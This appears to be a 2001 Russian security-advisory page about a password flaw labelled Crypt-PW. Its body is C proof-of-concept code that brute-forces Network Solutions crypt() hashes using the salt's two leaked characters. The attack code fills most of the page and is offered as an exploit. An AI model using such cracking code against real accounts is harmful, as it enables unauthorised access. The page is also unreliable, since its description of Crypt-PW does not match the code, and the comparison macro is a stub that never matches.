Security Lab

Проблемы с шифрованием в Crypt-PW

Дата публикации:10.06.2001
Дата изменения:17.10.2006
Всего просмотров:3667
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

Crypt-PW – популярная программа для шифрования, вторая по распространенности после PGP. Найдена возможность при выполнении некоторых условий, полностью дешифровать пароль.





Эксплоит:



/*
* This is for cracking Network Solutions passwords. This assumes the
* following...
* 1. The salt is the first two chars of the password (this is the
* standard gotcha for Network Solutions usage of crypt()).
* 2. If the first character of the salt is lowercase than the password
* is all lowercase
* 3. If the first character of the salt is uppercase ... well you get
* the idea.
* 4. If the first character of the salt a digit ...
* 5. There are no symbols in the password.
* 6. The password is between three and ten characters in length.
*
* These are a lot of assumptions to make, but this is just proof of
* concept code. It is assumed that if the password uses a dictionary
* word then knowledge of the first two letters (which Network Solutions
* places right in the salt) will greatly speed up the process of
* cracking. This code does not use a dictionary, but code is widely
* available which does and could easily be modified to take advantage
* of the two character "head start" that Network Solutions gives you.
*
* This program and all code contained herein is copyright 2001 by Peter
* Ajamian.
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

/* Crypt function needs to be prototyped, a wierd behavior of the library
*/
char *crypt(const char *key, const char *salt);

/*
* PWDCHECK() compares a plain-text password to its encrypted form.
* it returns 0 if the passwords match and non-zero if the passwords
* do not match.
*
* plain = The plain-text password.
* encr = The encrypted password.
*/
/* !FIXME! */
#define PWDCHECK(plain,encr) (1)

/*
* These are globals for greater efficiency. Because chkpass is called
* recursively it is not very worthwhile to be making multiple copies of
* these and passing them millions of times all over the place. This
* should save a large amount of CPU time.
*/
char *c_pass, pass[11], lbound, rbound;
int len;

void chkpass(int current)
{
/*
* Yes, this generates an extra copy of c, but considering how much
it's
* referenced it should probably be kept in a CPU register and should
save
* CPU cycles this way (here's hoping that the register keyword works).
*/
register char c;

if (current >= len)
for (c = lbound; c <= rbound; c++) {
pass[current] = c;
if (!PWDCHECK(pass, c_pass)) {
printf("Found password: %s\n", pass);
exit(EXIT_SUCCESS);
}
}

else
for (c = lbound; c <= rbound; c++){
pass[current] = c;
chkpass(current + 1);
}
}

int main(int argc, char **argv)
{
if (argc != 2) {
puts("Usage: pwdtest crypt-pass\n");
return EXIT_FAILURE;
}

argv++;

strncpy(pass, *argv, 2);

if (isdigit(*pass)) {
lbound = '0';
rbound = '9';

} else if (islower(*pass)) {
lbound = 'a';
rbound = 'z';

} else if (isupper(*pass)) {
lbound = 'A';
rbound = 'Z';

} else {
puts("First char of passwd must be alphnumeric.\n");
return EXIT_FAILURE;
}

c_pass = *argv;

for (len = 2; len < 10; len++) {
pass[len + 1] = 0;
chkpass(2);
}

puts("Unable to find a password match.\n");
return EXIT_FAILURE;
}